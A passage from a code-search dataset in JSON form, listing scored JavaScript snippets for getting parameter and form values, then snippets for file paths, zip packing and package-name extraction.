\"JsonParameter\":\n value = JSON.parse($('#' + script + '-' + parameter_name).val());\n break;\n default:\n // handle the default case\n value = $('#' + script + '-' + parameter_name)[0].value;\n }\n return value;\n}", "title": "" }, { "docid": "7b5dce3801ac67f0a6b61588fa769f9d", "score": "0.52942926", "text": "function getArgumentValues(def, node, variableValues) {\n var coercedValues = {};\n var argDefs = def.args;\n var argNodes = node.arguments;\n if (!argDefs || !argNodes) {\n return coercedValues;\n }\n var argNodeMap = (0, _keyMap2.default)(argNodes, function (arg) {\n return arg.name.value;\n });\n for (var i = 0; i < argDefs.length; i++) {\n var argDef = argDefs[i];\n var name = argDef.name;\n var argType = argDef.type;\n var argumentNode = argNodeMap[name];\n var defaultValue = argDef.defaultValue;\n if (!argumentNode) {\n if (!(0, _isInvalid2.default)(defaultValue)) {\n coercedValues[name] = defaultValue;\n } else if (argType instanceof _definition.GraphQLNonNull) {\n throw new _error.GraphQLError('Argument \"' + name + '\" of required type ' + ('\"' + String(argType) + '\" was not provided.'), [node]);\n }\n } else if (argumentNode.value.kind === Kind.VARIABLE) {\n var variableName = argumentNode.value.name.value;\n if (variableValues && Object.prototype.hasOwnProperty.call(variableValues, variableName) && !(0, _isInvalid2.default)(variableValues[variableName])) {\n // Note: this does not check that this variable value is correct.\n // This assumes that this query has been validated and the variable\n // usage here is of the correct type.\n coercedValues[name] = variableValues[variableName];\n } else if (!(0, _isInvalid2.default)(defaultValue)) {\n coercedValues[name] = defaultValue;\n } else if (argType instanceof _definition.GraphQLNonNull) {\n throw new _error.GraphQLError('Argument \"' + name + '\" of required type \"' + String(argType) + '\" was ' + ('provided the variable \"$' + variableName + '\" which was not provided ') + 'a runtime value.', [argumentNode.value]);\n }\n } else {\n var valueNode = argumentNode.value;\n var coercedValue = (0, _valueFromAST.valueFromAST)(valueNode, argType, variableValues);\n if ((0, _isInvalid2.default)(coercedValue)) {\n var errors = (0, _isValidLiteralValue.isValidLiteralValue)(argType, valueNode);\n var message = errors ? '\\n' + errors.join('\\n') : '';\n throw new _error.GraphQLError('Argument \"' + name + '\" got invalid value ' + (0, _printer.print)(valueNode) + '.' + message, [argumentNode.value]);\n }\n coercedValues[name] = coercedValue;\n }\n }\n return coercedValues;\n}", "title": "" }, { "docid": "685ee51b39564786cae6d680c177d366", "score": "0.5293512", "text": "function getValueParameter(propertyParameters) {\n if (!propertyParameters || !propertyParameters.length) { return; }\n\n for (let i = 0; i < propertyParameters.length; i++) {\n if (propertyParameters[i].name === \"VALUE\") {\n return propertyParameters[i];\n }\n }\n}", "title": "" }, { "docid": "d681c5375e0bc498f1d0229b3ec59cfc", "score": "0.5291203", "text": "function getSelectValues(select) {\r\n var result = [];\r\n var options = select && select.options;\r\n var opt;\r\n\r\n if (select.multiple) {\r\n for (var i = 0, len = options.length; i < len; i++) {\r\n opt = options[i];\r\n\r\n if (opt.selected) {\r\n result.push(opt.value || opt.text);\r\n }\r\n }\r\n } else {\r\n result = select.value;\r\n }\r\n\r\n return result;\r\n }", "title": "" }, { "docid": "98f9537858620976369ef91e34157cde", "score": "0.5286243", "text": "function getOptions() {\n\treturn $(this).data('horton');\n }", "title": "" }, { "docid": "2e60c352faa43ebd7cef9e0e72126a24", "score": "0.52739894", "text": "function queryParamsValues() {\n const params = [];\n urlBase.searchParams.forEach(value => {\n params.push(value);\n });\n\n return params;\n }", "title": "" }, { "docid": "64e7c4f1ad5987340b28b8fc4688c067", "score": "0.5269721", "text": "getInputValues() {\n const values = {};\n this.inputs.forEach((i) => { values[i.name] = i.value; });\n\n return values;\n }", "title": "" }, { "docid": "4245ebc9a7e0b7c16d8c80796f163597", "score": "0.5261693", "text": "function paramVal(){\n events = events != null ? events : [];\n options = options != null ? options : {};\n if(domElement == null) throw \"Dom element not defined.\";\n }", "title": "" }, { "docid": "bf76221c4c5d57d47ed127d5da1d5440", "score": "0.5257254", "text": "function getVal(o, p) {\n return p ? o[p] : o;\n}", "title": "" }, { "docid": "bfa136583cfb81d48f6810de547780d8", "score": "0.5255947", "text": "function getURLParameters() {\n var pageURL = decodeURIComponent(window.location.search.substring(1)),\n params = pageURL.split('&'),\n paramName,\n parameters = {}\n\n params.forEach(function (param) {\n paramName = param.split('=')\n\n console.log(paramName)\n\n switch (paramName[0]) {\n case 'amount':\n parameters.amount = paramName[1]\n break\n case 'origin':\n parameters.origin = paramName[1]\n break\n case 'register_id':\n parameters.register_id = paramName[1]\n break\n }\n })\n\n console.log(parameters)\n\n return parameters\n}", "title": "" }, { "docid": "91f4d019543c23238d87b9f14cccddec", "score": "0.5255124", "text": "function values(o) { var arr = [], i; for( i in o ) arr.push( o[i] ); return arr; }", "title": "" }, { "docid": "9d8c3c8c1115386bbb74b760892c7750", "score": "0.5250118", "text": "function getParameterValue(name) {\r\n\t\tvar tabParams = extractUrlParams();\r\n\t\tvar value = \"All\"; \r\n\t\tif (tabParams[name] != null) {\r\n\t\t\tvalue = tabParams[name];\r\n\t\t}\r\n\t\treturn value;\r\n\r\n\t}", "title": "" }, { "docid": "851351dbb6a7d3b4092189dd395c3705", "score": "0.5245607", "text": "function getSelectBoxValues(selectContainerElement) {\n let output = {};\n selectContainerElement.find('select').each(function() {\n let selectElement = $(this);\n let selectId = selectElement.attr('id')\n \n let labelElement = selectContainerElement.find(`label[for=\"${selectId}\"]`);\n let labelText = labelElement.text().trim().replace(/:$/, '');\n\n let selectedOptionElement = selectElement.find('option:selected');\n let selectedOptionValue = selectedOptionElement.val() || selectedOptionElement.text();\n if (selectedOptionValue == '') {\n return;\n }\n\n output[labelText] = selectedOptionValue;\n });\n return output;\n}", "title": "" }, { "docid": "efa943a20013e116d9951c27bbbc9937", "score": "0.5244205", "text": "function gatherOptions(setAllExceptNecessary) {\n var $options = self.$modal.find('#google-options .translator-option');\n var options = {};\n for (var i = 0; i < $options.length; i++) {\n var option = $options[i];\n var name = option.getAttribute('data-name');\n if (name === 'necessary') {\n options[name] = true;\n } else if (setAllExceptNecessary === undefined) {\n var $checkbox = $(option).find('input[type=\"checkbox\"]');\n options[name] = $checkbox.prop('checked');\n } else {\n options[name] = !!setAllExceptNecessary;\n }\n }\n return options;\n }", "title": "" }, { "docid": "859cbd8bc2e9d9e990215537fcb7d4a5", "score": "0.5244152", "text": "function collectSValues() {\r\n var s1Value = $(\"#s1Val\").val();\r\n var s2Value = $(\"#s2Val\").val();\r\n var s3Value = $(\"#s3Val\").val();\r\n var s4Value = $(\"#s4Val\").val();\r\n var s5Value = $(\"#s5Val\").val();\r\n var s6Value = $(\"#s6Val\").val();\r\n var s7Value = $(\"#s7Val\").val();\r\n return [s1Value, s2Value, s3Value, s4Value, s5Value, s6Value, s7Value];\r\n }", "title": "" }, { "docid": "4d2c722e184deaca7eab5db23a3589cf", "score": "0.52397525", "text": "function getSelectValues(select) {\n var result = [];\n var options = select && select.options;\n var opt;\n \n for (var i=0, iLen=options.length; i<iLen; i++) {\n opt = options[i];\n \n if (opt.selected) {\n result.push(opt.value || opt.text);\n }\n }\n return result;\n }", "title": "" }, { "docid": "59a7883254bd3f54783a4dfd6d294401", "score": "0.52386916", "text": "static GetParticleParameterValue() {\n // Enable display of particle type selection arrows.\n Test.fullscreenUI.SetParticleParameterSelectionEnabled(true);\n return Test.particleParameter.GetValue();\n }", "title": "" }, { "docid": "1536608577bfebc3d73a99f3833ea103", "score": "0.52347577", "text": "function getArgumentValues(def, node, variableValues) {\n var _node$arguments;\n\n var coercedValues = {}; // istanbul ignore next (See: 'https://github.com/graphql/graphql-js/issues/2203')\n\n var argumentNodes = (_node$arguments = node.arguments) !== null && _node$arguments !== void 0 ? _node$arguments : [];\n var argNodeMap = Object(_jsutils_keyMap_mjs__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(argumentNodes, function (arg) {\n return arg.name.value;\n });\n\n for (var _i4 = 0, _def$args2 = def.args; _i4 < _def$args2.length; _i4++) {\n var argDef = _def$args2[_i4];\n var name = argDef.name;\n var argType = argDef.type;\n var argumentNode = argNodeMap[name];\n\n if (!argumentNode) {\n if (argDef.defaultValue !== undefined) {\n coercedValues[name] = argDef.defaultValue;\n } else if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_7__[\"isNonNullType\"])(argType)) {\n throw new _error_GraphQLError_mjs__WEBPACK_IMPORTED_MODULE_4__[\"GraphQLError\"](\"Argument \\\"\".concat(name, \"\\\" of required type \\\"\").concat(Object(_jsutils_inspect_mjs__WEBPACK_IMPORTED_MODULE_2__[\"default\"])(argType), \"\\\" \") + 'was not provided.', node);\n }\n\n continue;\n }\n\n var valueNode = argumentNode.value;\n var isNull = valueNode.kind === _language_kinds_mjs__WEBPACK_IMPORTED_MODULE_5__[\"Kind\"].NULL;\n\n if (valueNode.kind === _language_kinds_mjs__WEBPACK_IMPORTED_MODULE_5__[\"Kind\"].VARIABLE) {\n var variableName = valueNode.name.value;\n\n if (variableValues == null || !hasOwnProperty(variableValues, variableName)) {\n if (argDef.defaultValue !== undefined) {\n coercedValues[name] = argDef.defaultValue;\n } else if (Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_7__[\"isNonNullType\"])(argType)) {\n throw new _error_GraphQLError_mjs__WEBPACK_IMPORTED_MODULE_4__[\"GraphQLError\"](\"Argument \\\"\".concat(name, \"\\\" of required type \\\"\").concat(Object(_jsutils_inspect_mjs__WEBPACK_IMPORTED_MODULE_2__[\"default\"])(argType), \"\\\" \") + \"was provided the variable \\\"$\".concat(variableName, \"\\\" which was not provided a runtime value.\"), valueNode);\n }\n\n continue;\n }\n\n isNull = variableValues[variableName] == null;\n }\n\n if (isNull && Object(_type_definition_mjs__WEBPACK_IMPORTED_MODULE_7__[\"isNonNullType\"])(argType)) {\n throw new _error_GraphQLError_mjs__WEBPACK_IMPORTED_MODULE_4__[\"GraphQLError\"](\"Argument \\\"\".concat(name, \"\\\" of non-null type \\\"\").concat(Object(_jsutils_inspect_mjs__WEBPACK_IMPORTED_MODULE_2__[\"default\"])(argType), \"\\\" \") + 'must not be null.', valueNode);\n }\n\n var coercedValue = Object(_utilities_valueFromAST_mjs__WEBPACK_IMPORTED_MODULE_9__[\"valueFromAST\"])(valueNode, argType, variableValues);\n\n if (coercedValue === undefined) {\n // Note: ValuesOfCorrectTypeRule validation should catch this before\n // execution. This is a runtime check to ensure execution does not\n // continue with an invalid argument value.\n throw new _error_GraphQLError_mjs__WEBPACK_IMPORTED_MODULE_4__[\"GraphQLError\"](\"Argument \\\"\".concat(name, \"\\\" has invalid value \").concat(Object(_language_printer_mjs__WEBPACK_IMPORTED_MODULE_6__[\"print\"])(valueNode), \".\"), valueNode);\n }\n\n coercedValues[name] = coercedValue;\n }\n\n return coercedValues;\n }", "title": "" }, { "docid": "af66cf851682b56528b4960c0e640292", "score": "0.52339613", "text": "function getSliderOpts() {\n return sliderGroup.data()[0];\n }", "title": "" }, { "docid": "e4a382a3190b07605c5810a977ccd13f", "score": "0.5232952", "text": "getOptions() {\n return this.options;\n }", "title": "" } ]
9e328957c195f09dd3592ffbddedab04
PACKSTART | returns path of file
[ { "docid": "faf53465642448250e570b28dbc15f9a", "score": "0.0", "text": "function path(p){ //\n\t\tif(!p) return ''\n\t\tp = p.replace(/\\.\\//g, '')\n\t\tvar b = p.match(/([\\s\\S]*)\\/[^\\/]*$/)\n\t\treturn b ? b[1] : ''\n\t}", "title": "" } ]
[ { "docid": "e7901d0fcdeb679b764417f258be36c4", "score": "0.55160004", "text": "function notCoolPackFile (from, into) {\n\tfs.writeFileSync(into, bitStringToBuffer(LW78Encode(fs.readFileSync(from))), (err) => { if (err) throw err; });\n\tconsole.log('Packed!');\n}", "title": "" }, { "docid": "bc2daa60e5c5f04cfeaa00f053868a30", "score": "0.5223646", "text": "async function pack_source() {\r\n const output = fs.createWriteStream(\r\n path.join(output_path, `source-${package.version}.zip`),\r\n )\r\n const archive = make_archive(output)\r\n\r\n archive.file(path.join(project_root, 'README.md'), { name: 'README.md' })\r\n archive.file(path.join(project_root, 'CHANGELOG.md'), { name: 'CHANGELOG.md' })\r\n archive.file(path.join(project_root, 'package.json'), { name: 'package.json' })\r\n archive.file(path.join(project_root, 'package-lock.json'), { name: 'package-lock.json' })\r\n archive.file(path.join(project_root, 'LICENSE'), { name: 'LICENSE' })\r\n archive.file(path.join(project_root, 'tsconfig.json'), { name: 'tsconfig.json' })\r\n archive.file(path.join(project_root, 'webpack.config.js'), { name: 'webpack.config.js' })\r\n archive.glob('app/**', { ignore: ['app/dist/**'] })\r\n archive.directory(path.join(project_root, 'bin'), 'bin')\r\n\r\n archive.finalize()\r\n}", "title": "" }, { "docid": "7d972b7a80b3ec57c53b8a1374cbf6d7", "score": "0.5166242", "text": "function contructFileHeader(imageUri, imageSize) {\n var pathArr = imageUri.split('/')\n var imageName = pathArr[pathArr.length - 1]\n var ret = jspack.Pack(FILE_HEAD_FORMAT, [imageName, imageSize])\n alert(\"imageHead: \"+ret)\n return ret\n}", "title": "" }, { "docid": "acfdf3b646f61d445615459abe977092", "score": "0.51579356", "text": "function entry () {\n if (!fs.pathExistsSync(CONFIG_ENTRY)) {\n console.log(chalk.red(\"Fail: Can't find config-file !\\r\\n\"))\n return\n }\n try {\n const config = fs.readJSONSync(CONFIG_ENTRY)\n singlePack(config)\n } catch (e) {\n console.error(e)\n console.log(chalk.red('failed to pack .'))\n }\n}", "title": "" }, { "docid": "dfba71037b196bebfa0419ab50f7e598", "score": "0.5056757", "text": "function fileWithPath() {\n return process.argv[1];\n}", "title": "" }, { "docid": "cc4cf32c5575462c9bbe35d9105b049e", "score": "0.5001718", "text": "function _scriptPath(){}", "title": "" }, { "docid": "754fb1f8501fe839b428adf3ef1b7458", "score": "0.49597514", "text": "get filepath() {\n const { storeDir, signature } = this;\n return path.join(storeDir, `${signature}.har`);\n }", "title": "" }, { "docid": "639350275532b87f5fead1a0298a86eb", "score": "0.49561456", "text": "function _GetFilePath(){\r\n var currentFile = document.currentScript.src;\r\n var urlCount = currentFile.lastIndexOf('/') +1;\r\n return currentFile.substring(0,urlCount);\r\n }", "title": "" }, { "docid": "77dd37ee20d4624dd9b7fe33cd100103", "score": "0.49426454", "text": "findFileInSrc (filename) {\n let path = '';\n\n // scan each source dir to find a package.json\n this.opt.src.forEach(dir => {\n const target = this.path.join(dir, filename);\n if (this.fs.existsSync(target)) {\n this.log.debug('Found file: ' + target);\n path = this.path.resolve(target);\n }\n });\n return path;\n }", "title": "" }, { "docid": "1c0bbc7ca47a8360ffdba1ae4b947f2c", "score": "0.49219075", "text": "_pushLocalFileHeader (file: Object) {\n file.version = 20\n file.bitflag = 8\n file.method = file.store ? 0 : 8\n file.moddate = convertDate(new Date())\n file.offset = this.fileptr\n\n const buf = Buffer.alloc(consts.LOCHDR + file.name.length)\n\n buf.writeUInt32LE(consts.LOCSIG, 0) // local file header signature\n buf.writeUInt16LE(file.version, consts.LOCVER) // version needed to extract\n buf.writeUInt16LE(file.bitflag, consts.LOCFLG) // general purpose bit flag\n buf.writeUInt16LE(file.method, consts.LOCHOW) // compression method\n buf.writeUInt32LE(file.moddate, consts.LOCTIM) // last mod file date and time\n\n buf.writeInt32LE(0, consts.LOCCRC) // crc32\n buf.writeUInt32LE(0, consts.LOCSIZ) // compressed size\n buf.writeUInt32LE(0, consts.LOCLEN) // uncompressed size\n\n buf.writeUInt16LE(file.name.length, consts.LOCNAM) // file name length\n buf.writeUInt16LE(0, consts.LOCEXT) // extra field length\n buf.write(file.name, consts.LOCHDR) // file name\n\n this.queue.push(buf)\n this.fileptr += buf.length\n }", "title": "" }, { "docid": "dfccb717cb93b937968f65817d25bb5e", "score": "0.49207944", "text": "#getScriptFile (scriptName) {\n let scriptFile = join(this.packagePath, `src/${ scriptName }.js`)\n if (fse.existsSync(scriptFile)) {\n return scriptFile\n }\n\n scriptFile = join(this.packagePath, `dist/${ scriptName }.js`)\n if (fse.existsSync(scriptFile)) {\n return scriptFile\n }\n\n scriptFile = join(this.packagePath, `src/${ scriptName }.ts`)\n if (fse.existsSync(scriptFile)) {\n return scriptFile\n }\n\n scriptFile = join(this.packagePath, `dist/${ scriptName }.ts`)\n if (fse.existsSync(scriptFile)) {\n return scriptFile\n }\n }", "title": "" }, { "docid": "2e8cd328143d3b9dcaa0c121c8449d15", "score": "0.4917829", "text": "function loadFile(name) {\r\n var path = \"code/\"+name+\".shdl\";\r\n fetch(path).then(function(response) {\r\n\t if (!response.ok) {\r\n\t\t setLog(\"No file: \"+path);\r\n\t } else {\r\n response.text().then(function(text) {\r\n load(text, name);\r\n });\r\n\t }\r\n});\r\n}", "title": "" }, { "docid": "1dbdf400c0a970568125c52ee9579eab", "score": "0.49174508", "text": "function BinaryPacker0x0001() {\n}", "title": "" }, { "docid": "130cfc2ab84161bd397df600f1f06581", "score": "0.4868568", "text": "function packFileIntoDirectory(from, into) {\n\tlet readStream = fs.createReadStream(from, {highWaterMark: 10 * 1024});\n\tlet counter = 1;\n\treadStream\n\t\t.on('data', function (chunk) {\n\t\t\tfs.writeFileSync('./' + into + '/' + counter + '.part', bitStringToBuffer(LW78Encode(chunk)), (err) => { if (err) throw err; });\n\t\t\tcounter++;\n\t\t})\n\t\t.on('end', function () {\n\t\t\tconsole.log('Packed!');\n\t\t});\n}", "title": "" }, { "docid": "4038a3664dc7d0b0ebc9088752c93adb", "score": "0.48673785", "text": "function initFile()\n{\n fs.writeFileSync(FILE_PATH, STARTING_NUMBER)\n}", "title": "" }, { "docid": "9bd78b24cf84eb9c7a8dcdbe4c2ecd4b", "score": "0.48186815", "text": "function copyFileDefInProd() {\n const shell = require(\"child_process\").execSync;\n let src = path.join(__dirname, \"/../src/Graphql/types\");\n let build = path.join(__dirname, \"../build/src/Graphql/types\");\n shell(`mkdir -p ${build}`);\n shell(`cp -r ${src}/* ${build}`);\n //console.log(`\\nFrom\\t: ${src}`);\n //console.log(`To\\t: ${build}\\n`);\n src = path.join(__dirname, \"/../sslcert\");\n build = path.join(__dirname, \"../build/sslcert\");\n shell(`mkdir -p ${build}`);\n shell(`cp -r ${src}/* ${build}`);\n //console.log(`From\\t: ${src}`);\n //console.log(`To\\t: ${build}\\n`);\n}", "title": "" }, { "docid": "684cb529f49923ca39e4b5fb6232fd9c", "score": "0.48046672", "text": "_pushCentralDirectory () {\n const cdoffset = this.fileptr\n let ptr = 0\n let cdsize = 0\n let len = 0\n let buf = null\n\n for (let i = 0; i < this.files.length; i++) {\n const file = this.files[i]\n\n len = consts.CENHDR + file.name.length\n buf = Buffer.alloc(len)\n\n // central directory file header\n buf.writeUInt32LE(consts.CENSIG, 0) // central file header signature\n buf.writeUInt16LE(file.version, consts.CENVEM) // version made by\n buf.writeUInt16LE(file.version, consts.CENVER) // version needed to extract\n buf.writeUInt16LE(file.bitflag, consts.CENFLG) // general purpose bit flag\n buf.writeUInt16LE(file.method, consts.CENHOW) // compression method\n buf.writeUInt32LE(file.moddate, consts.CENTIM) // last mod file time and date\n buf.writeInt32LE(file.crc32, consts.CENCRC) // crc-32\n buf.writeUInt32LE(file.compressed, consts.CENSIZ) // compressed size\n buf.writeUInt32LE(file.uncompressed, consts.CENLEN) // uncompressed size\n buf.writeUInt16LE(file.name.length, consts.CENNAM) // file name length\n buf.writeUInt16LE(0, consts.CENEXT) // extra field length\n buf.writeUInt16LE(0, consts.CENCOM) // file comment length\n buf.writeUInt16LE(0, consts.CENDSK) // disk number where file starts\n buf.writeUInt16LE(0, consts.CENATT) // internal file attributes\n buf.writeUInt32LE(0, consts.CENATX) // external file attributes\n buf.writeUInt32LE(file.offset, consts.CENOFF) // relative offset\n buf.write(file.name, consts.CENHDR) // file name\n\n ptr = ptr + len\n this.queue.push(buf)\n }\n\n cdsize = ptr\n\n // end of central directory record\n len = consts.ENDHDR\n buf = Buffer.alloc(len)\n\n buf.writeUInt32LE(consts.ENDSIG, 0) // end of central dir signature\n buf.writeUInt16LE(0, 4) // number of this disk\n buf.writeUInt16LE(0, 6) // disk where central directory starts\n buf.writeUInt16LE(this.files.length, consts.ENDSUB) // number of central directory records on this disk\n buf.writeUInt16LE(this.files.length, consts.ENDTOT) // total number of central directory records\n buf.writeUInt32LE(cdsize, consts.ENDSIZ) // size of central directory in bytes\n buf.writeUInt32LE(cdoffset, consts.ENDOFF) // offset of start of central directory, relative to start of archive\n buf.writeUInt16LE(0, consts.ENDCOM) // comment length\n\n ptr = ptr + len\n\n this.queue.push(buf)\n this.fileptr += ptr\n }", "title": "" }, { "docid": "6dc83cca7d2c12d6f7bad14906ad6fb9", "score": "0.4761744", "text": "function write_src_file(fname, path, intpath, arr)\n{\n\tFSO.FolderExists(\"tmp\\\\src\") ? \"\" : FSO.CreateFolder(\"tmp\\\\src\");\n\tvar src = FSO.CreateTextFile(\"tmp\\\\src\\\\\" + fname, true);\n\tvar out = get_define(\"BUILD_DIR\");\n\tvar libpath = \"\";\n\n\tfor (i = 0; i < arr.length; i++) {\n\t\tif (arr[i].length > 1) {\n\t\t\tif (arr[i].match('alloca.c') ||\n\t\t\t\tarr[i].match(/internal_functions_(nw|win32)\\.c/) ||\n\t\t\t\tarr[i].match(/flock\\.(c|h)/) ||\n\t\t\t\tarr[i].match(/zend_static_allocator\\.(c|h)/) ||\n\t\t\t\tarr[i].match(/zend_(ini|language)_scanner_defs\\.h/)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tlibpath = arr[i].substr(2, arr[i].lastIndexOf(\"\\\\\") - 2);\n\t\t\tif (libpath) {\n\t\t\t\tlibpath = \"\\\\\" + libpath;\n\t\t\t}\n\n\t\t\tsrc.WriteLine(\"# Begin Source File\");\n\t\t\tsrc.WriteLine(\"SOURCE=\" + arr[i]);\n\t\t\tsrc.WriteLine('# PROP Intermediate_Dir \"' + intpath + out + '\\\\' + path + libpath + '\"');\n\t\t\tsrc.WriteLine(\"# End Source File\");\n\t\t\tsrc.WriteBlankLines(1);\n\t\t}\n\t}\n\n\tsrc.Close();\n\treturn;\n}", "title": "" }, { "docid": "f64c545258a8ed9cc8dfbff0798cd63c", "score": "0.4733939", "text": "function getScriptPath() {\n var fpath = null;\n var dbLevel;\n var ex;\n\n try {\n dbLevel = $.level; // save\n $.level = 0;\n undefined_variable; // throw an exception\n } catch(ex) {\n fpath = ex.fileName; // path/file\n } finally {\n $.level = dbLevel; // restore\n }\n fpath = fpath.substring(0, fpath.lastIndexOf(\"/\")+1);\n return(fpath);\n}", "title": "" }, { "docid": "b5379f225a8d753e99ce9c9b3420b8c9", "score": "0.47328782", "text": "function getOutputFilename() {\n return 'main';\n}", "title": "" }, { "docid": "4325c4c6eb04aad4cc2e706efbbf5708", "score": "0.47016785", "text": "function Guidewire_FMSourceFileExtract(FullFileName)\n{\n var VarSplitURL= FullFileName.split(\".\");\n return VarSplitURL[0];\n}", "title": "" }, { "docid": "63f445b16960d26a60d89890128ee181", "score": "0.47007236", "text": "parseSource(src) {\n const file = this.vault.getAbstractFileByPath(src);\n return (file instanceof obsidian.TFile) ? this.vault.adapter.getResourcePath(src) : src;\n }", "title": "" }, { "docid": "899f5ce06c5ee22f14f21adf402d5a24", "score": "0.46923476", "text": "enterFilePath(ctx) {\n\t}", "title": "" }, { "docid": "5e0d21d55be3b7a5e4a443534d3073da", "score": "0.46887237", "text": "function _stagePackComponent(context, type, srcPath, destPath, destPathRelease) {\n return new Promise((resolve, reject) => {\n try {\n fs.removeSync(destPath);\n fs.copySync(srcPath, destPath);\n // copy all .js files into min dir for a resource componet.\n const glob = require('glob'); // eslint-disable-line\n if (type === 'resource') {\n // For a resource component, copy all files, except for any under extension/.\n // We assume that files under extension/ are design time\n // and are not needed in the runtime distribution.\n const resourceFiles = glob.sync('**/*', { cwd: srcPath, ignore: ['extension/**/*', 'extension'] });\n resourceFiles.forEach((componentPath) => {\n fs.copySync(path.join(srcPath, componentPath), path.join(destPath, componentPath));\n if (context.opts.buildType === 'release' || context.componentConfig) {\n fs.copySync(path.join(srcPath, componentPath),\n path.join(destPathRelease, componentPath));\n }\n });\n } else if (context.opts.buildType === 'release' || context.componentConfig) {\n // For a 'non-resource component' in release build,\n // copy all top-level css files to the /min dir.\n const cssFiles = glob.sync('*.css', { cwd: srcPath });\n cssFiles.forEach((componentPath) => {\n fs.copySync(path.join(srcPath, componentPath), path.join(destPathRelease, componentPath));\n });\n // Copy the resource directory into min/\n const srcPathResources = path.join(srcPath, 'resources');\n if (util.fsExistsSync(srcPathResources)) {\n fs.copySync(srcPathResources, path.join(destPathRelease, 'resources'));\n }\n }\n resolve(context);\n } catch (error) {\n reject(error);\n }\n });\n}", "title": "" }, { "docid": "2722ef9d5922b65b73da53e067ee6279", "score": "0.46884346", "text": "function Fileloader()\n{\n\n}", "title": "" }, { "docid": "c7c0793ccfd04348ef6059c3ae52918a", "score": "0.4683511", "text": "function _buildPath(current) {\n require._path = require.path.slice(0);\n require._path.push(new Folder(current + '/' + id).parent);\n require._path.push(new File($.fileName).parent);\n var split = $.os.toLowerCase().indexOf('win') === -1 ? ':' : ';';\n var fromPath = ($.getenv('PHOTOSHOP_PATH') || '').split(split);\n for (var p = 0; p < fromPath.length; p++) {\n var path = fromPath[p];\n if (path.length === 0) {\n continue;\n }\n require._path.push(path);\n }\n\n require.isPathBuilt = true;\n }", "title": "" }, { "docid": "7492a3fae89ee47daaffc07d0c952d4a", "score": "0.46760845", "text": "function myGetScriptPath() {\n try{\n return app.activeScript;\n }\n catch(myError){\n return File(myError.fileName);\n }\n}", "title": "" }, { "docid": "ced95169121b8182c7152e485d1eacfe", "score": "0.46673065", "text": "cargoBinary(func) {\n let [cargoPackage, binary] = func.handler.split(\".\");\n if (binary == undefined) {\n binary = cargoPackage;\n }\n return { cargoPackage, binary };\n }", "title": "" }, { "docid": "5b9edb541fa221699909eef4d9253155", "score": "0.46363807", "text": "function reportPath() {\n return path.join(__dirname, \"../../ext/install.report\")\n}", "title": "" }, { "docid": "c28c98dad0be96f21a220e4524ebae87", "score": "0.46331066", "text": "getPath () {\n return this.template.filePath\n }", "title": "" }, { "docid": "1697162ab8e774a37d97978e04e6f053", "score": "0.46294752", "text": "function getPackageName(installPackage) {\n if (installPackage.match(/^.+\\.(tgz|tar\\.gz)$/)) {\n return getTemporaryDirectory()\n .then(obj => {\n let stream;\n if (/^http/.test(installPackage)) {\n stream = hyperquest(installPackage);\n } else {\n stream = fs.createReadStream(installPackage);\n }\n return extractStream(stream, obj.tmpdir).then(() => obj);\n })\n .then(obj => {\n const packageName = require(path.join(obj.tmpdir, 'package.json')).name;\n obj.cleanup();\n return packageName;\n })\n .catch(err => {\n // O nome do pacote pode ser com ou sem versão semver, por ex. anteros-scripts-0.2.0-alpha.1.tgz\n // No entanto, esta função retorna o nome do pacote somente sem a versão semverver.\n console.log(\n `Não foi possível extrair o nome do pacote do arquivo: ${err.message}`\n );\n const assumedProjectName = installPackage.match(\n /^.+\\/(.+?)(?:-\\d+.+)?\\.(tgz|tar\\.gz)$/\n )[1];\n console.log(\n `Com base no nome do arquivo, supondo que seja \"${chalk.cyan(\n assumedProjectName\n )}\"`\n );\n return Promise.resolve(assumedProjectName);\n });\n } else if (installPackage.indexOf('git+') === 0) {\n // Extrair o nome do pacote das URLs git, por exemplo:\n // git+https://github.com/mycompany/anteros-scripts.git\n // git+ssh://github.com/mycompany/anteros-scripts.git#v1.2.3\n return Promise.resolve(installPackage.match(/([^/]+)\\.git(#.*)?$/)[1]);\n } else if (installPackage.match(/.+@/)) {\n // Não corresponde a @scope/ ao retirar o @version ou o @tag\n return Promise.resolve(\n installPackage.charAt(0) + installPackage.substr(1).split('@')[0]\n );\n } else if (installPackage.match(/^file:/)) {\n const installPackagePath = installPackage.match(/^file:(.*)?$/)[1];\n const installPackageJson = require(path.join(\n installPackagePath,\n 'package.json'\n ));\n return Promise.resolve(installPackageJson.name);\n }\n return Promise.resolve(installPackage);\n}", "title": "" }, { "docid": "dee1b0e460f5eee45a8eb56bc132d0f8", "score": "0.46114084", "text": "function sendBinaryFromFile(req, res) {\n program(__dirname + '/RFIDBirdFeeder.ino.bin', process.env.SERIAL_PORT, (err) => {\n if (err) {\n console.log(\"ERROR: esptool error.\");\n console.log(err);\n res.status(500).json({'ERROR': err});\n } else {\n res.json({'SUCCESS': 'Program sent to esp8266 successfully'});\n }\n });\n}", "title": "" }, { "docid": "f8730bca9f631c22a9751d16fa02a2ba", "score": "0.4608146", "text": "function chkFileArrFunc ( file , cData ) {\n\t\t\t\tlet p = new Promise(( resolve , reject ) => {\n\t\t\t\t\tfs.readFile( file.originalPath , 'utf8' , ( err , fileData ) => {\n\t\t\t\t\t\tlet re = new RegExp( '^import.*?\\/' + cData.fileName , 'gm' );\n\t\t\t\t\t\tlet result = re.exec( fileData ) ; \n\t\t\t\t\t\tconsole.log( 'result : ' , result ) ; \n\t\t\t\t\t\tif ( result != null ) {\n\t\t\t\t\t\t\tresolve( file ) ; \n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tresolve( null ) ; \n\t\t\t\t\t\t}\n\t\t\t\t\t}) ; \n\n\t\t\t\t}) ; \n\n\t\t\t\treturn p ; \n\t\t\t}", "title": "" }, { "docid": "1fc00457a494faefd6b65351a0d9a186", "score": "0.45816877", "text": "function get_script_1(pi, cb) {\n if(pi.script) return cb(pi.script)\n let pkg = path.join(pi.cwd, 'package.json')\n fs.readFile(pkg, (err, data) => {\n if(err) {\n pi.emit('error', err)\n cb()\n } else {\n try {\n let obj = JSON.parse(data)\n cb(obj.main)\n } catch(e) {\n pi.emit('error', err)\n cb()\n }\n }\n })\n }", "title": "" }, { "docid": "15f061e9dd9c9a9d4fbd9f06e1d305f3", "score": "0.4564618", "text": "function installModule(filePath, fileName) {\n console.log(\"Zip path\", path_1[\"default\"].join(filePath, 